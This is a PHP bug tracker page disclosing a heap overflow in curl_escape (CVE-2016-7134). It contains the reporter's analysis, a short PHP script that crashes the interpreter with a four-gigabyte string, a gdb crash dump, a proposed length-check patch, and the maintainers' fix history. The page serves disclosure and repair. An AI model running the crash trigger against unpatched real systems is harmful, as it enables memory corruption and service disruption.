php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #72674 Heap overflow in curl_escape
Submitted: 2016-07-26 08:45 UTC Modified: 2017-02-13 01:38 UTC
From: nguyenvuhoang199321 at gmail dot com Assigned: stas (profile)
Status: Closed Package: cURL related
PHP Version: 7.0.9 OS: *Nix
Private report: No CVE-ID: 2016-7134
View Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
If you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: nguyenvuhoang199321 at gmail dot com
New email:
PHP Version: OS:

 

 [2016-07-26 08:45 UTC] nguyenvuhoang199321 at gmail dot com
Description:
------------
I have founded a code block that leads to heap overflow. As you can see at :
```
PHP_FUNCTION(curl_escape)
{
        char       *str = NULL, *res = NULL;
        size_t        str_len = 0;
        zval       *zid;
        php_curl   *ch;
        *** SNIP ***
        if ((res = curl_easy_escape(ch->cp, str, str_len))) {
                RETVAL_STRING(res);
                curl_free(res);
        } else {
                RETURN_FALSE;
        }
        *** SNIP ***
}
```
I do some analysis with curl_easy_escape in libcurl and here the source code :
```
char *curl_easy_escape(CURL *handle, const char *string, int inlength)
{
        size_t alloc = (inlength?(size_t)inlength:strlen(string))+1;
        char *ns;
        char *testing_ptr = NULL;
        
        *** SNIP ***
        
        ns = malloc(alloc);
        if(!ns)
            return NULL;

        length = alloc-1;
        while(length--) {
            in = *string;
            if (Curl_isalnum(in)) {
            /* just copy this */
                ns[strindex++]=in;
        *** SNIP ***
```
Here you see that alloc is calculated by adding inlength with one. If we pass a string with length 0xfffffff in curl_escape
and the alloc add it with 1 and the result of alloc is 0. After that, the malloc a buffer with size 0 and length = 0 - 1 = -1 = 0xfffffff
this leads to heap overflow

Test script:
---------------
<?php

ini_set('memory_limit',-1);

$ch = curl_init('http://google.com');
curl_escape($ch,str_repeat("A",0xffffffff));

?>


Actual result:
--------------
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7ffff67ce508 (<curl_easy_escape+120>:    mov    BYTE PTR [r14+r13*1],cl)
RBX: 0x0 
RCX: 0x41 ('A')
RDX: 0x14 
RSI: 0x7ffff67a2b20 --> 0x100000000 
RDI: 0x0 
RBP: 0x7ffff67ff8ec --> 0xfffcec1cfffcec1c 
RSP: 0x7fffffffa720 --> 0x148fd80 ('A' <repeats 200 times>...)
RIP: 0x7ffff67ce508 (<curl_easy_escape+120>:    mov    BYTE PTR [r14+r13*1],cl)
R8 : 0x7fffffffa5b8 --> 0x0 
R9 : 0x7fffffffa5b4 --> 0x0 
R10: 0x14773e0 --> 0x79746974 ('tity')
R11: 0x7ffff67ce490 (<curl_easy_escape>:        push   r15)
R12: 0x0 
R13: 0x38c10 
R14: 0x14773f0 ('A' <repeats 200 times>...)
R15: 0x7ffeef038c28 ('A' <repeats 200 times>...)
EFLAGS: 0x10213 (CARRY parity ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff67ce4fc <curl_easy_escape+108>:       add    rax,rbp
   0x7ffff67ce4ff <curl_easy_escape+111>:       jmp    rax
   0x7ffff67ce501 <curl_easy_escape+113>:       nop    DWORD PTR [rax+0x0]
=> 0x7ffff67ce508 <curl_easy_escape+120>:       mov    BYTE PTR [r14+r13*1],cl
   0x7ffff67ce50c <curl_easy_escape+124>:       add    r13,0x1
   0x7ffff67ce510 <curl_easy_escape+128>:       mov    rax,QWORD PTR [rsp+0x10]
   0x7ffff67ce515 <curl_easy_escape+133>:       add    r15,0x1
   0x7ffff67ce519 <curl_easy_escape+137>:       sub    rax,r15
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffa720 --> 0x148fd80 ('A' <repeats 200 times>...)
0008| 0x7fffffffa728 --> 0x7ffeef000018 ('A' <repeats 200 times>...)
0016| 0x7fffffffa730 --> 0xffffffffffffffff 
0024| 0x7fffffffa738 --> 0x7ffeef000018 ('A' <repeats 200 times>...)
0032| 0x7fffffffa740 --> 0x148fd80 ('A' <repeats 200 times>...)
0040| 0x7fffffffa748 --> 0x0 
0048| 0x7fffffffa750 --> 0x7fffffffa7e0 --> 0x7fffffffa810 --> 0x7fffffffa840 --> 0x7fffffffa880 --> 0x7fffffffa990 --> 0x7fffffffcc90 --> 0x7fffffffe010 --> 0x7fffffffe160 --> 0xa28260 (<__libc_csu_init>:        push   r15)
0056| 0x7fffffffa758 --> 0x42cb20 (<_start>:    xor    ebp,ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007ffff67ce508 in curl_easy_escape () from /usr/lib/x86_64-linux-gnu/libcurl.so.4
gdb-peda$ bt
#0  0x00007ffff67ce508 in curl_easy_escape () from /usr/lib/x86_64-linux-gnu/libcurl.so.4
#1  0x00000000005ff72c in zif_curl_escape (execute_data=0x7fffef614110, return_value=0x7fffef614100)
    at /home/hoangnguyen/Data/Build/audit/php-7.0.7/ext/curl/interface.c:3571

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-07-26 08:47 UTC] nguyenvuhoang199321 at gmail dot com
Here my patch of this bug :
```
diff --git a/ext/curl/interface.c b/ext/curl/interface.c
index 6a61641..573bde5 100644
--- a/ext/curl/interface.c
+++ b/ext/curl/interface.c
@@ -3568,6 +3568,10 @@ PHP_FUNCTION(curl_escape)
                RETURN_FALSE;
        }
 
+       if(str_len < 0 || str_len > INT_MAX){
+               RETURN_FALSE;
+       }
+
        if ((res = curl_easy_escape(ch->cp, str, str_len))) {
                RETVAL_STRING(res);
                curl_free(res);
```
 [2016-07-29 08:27 UTC] stas@php.net
This looks like a bug in libcurl. We can add mitigation of course but I advisee to report it to libcurl maintainers.
 [2016-07-29 09:55 UTC] nguyenvuhoang199321 at gmail dot com
OK, i will reported this bug to libcurl, but you still assign this bug ?
 [2016-08-03 07:59 UTC] stas@php.net
-PHP Version: 7.1Git-2016-07-26 (Git) +PHP Version: 7.0.9 -Assigned To: +Assigned To: stas
 [2016-08-03 07:59 UTC] stas@php.net
fix in security repo as 72dbb7f416160f490c4e9987040989a10ad431c7
 [2016-08-15 06:03 UTC] stas@php.net
-CVE-ID: +CVE-ID: needed
 [2016-08-17 08:23 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=72dbb7f416160f490c4e9987040989a10ad431c7
Log: Fix bug #72674 - check both curl_escape and curl_unescape
 [2016-08-17 08:23 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-08-17 09:15 UTC] laruence@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=72dbb7f416160f490c4e9987040989a10ad431c7
Log: Fix bug #72674 - check both curl_escape and curl_unescape
 [2016-08-17 12:04 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=19c10bb629139c42f55f10c9c84dfe3ba29567c6
Log: Fix bug #72674 - check both curl_escape and curl_unescape
 [2016-09-05 15:29 UTC] remi@php.net
-CVE-ID: needed +CVE-ID: 2016-7134
 [2016-10-17 10:10 UTC] bwoebi@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=72dbb7f416160f490c4e9987040989a10ad431c7
Log: Fix bug #72674 - check both curl_escape and curl_unescape
 [2017-02-13 01:38 UTC] stas@php.net
-Type: Security +Type: Bug
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Tue Dec 03 17:01:29 2024 UTC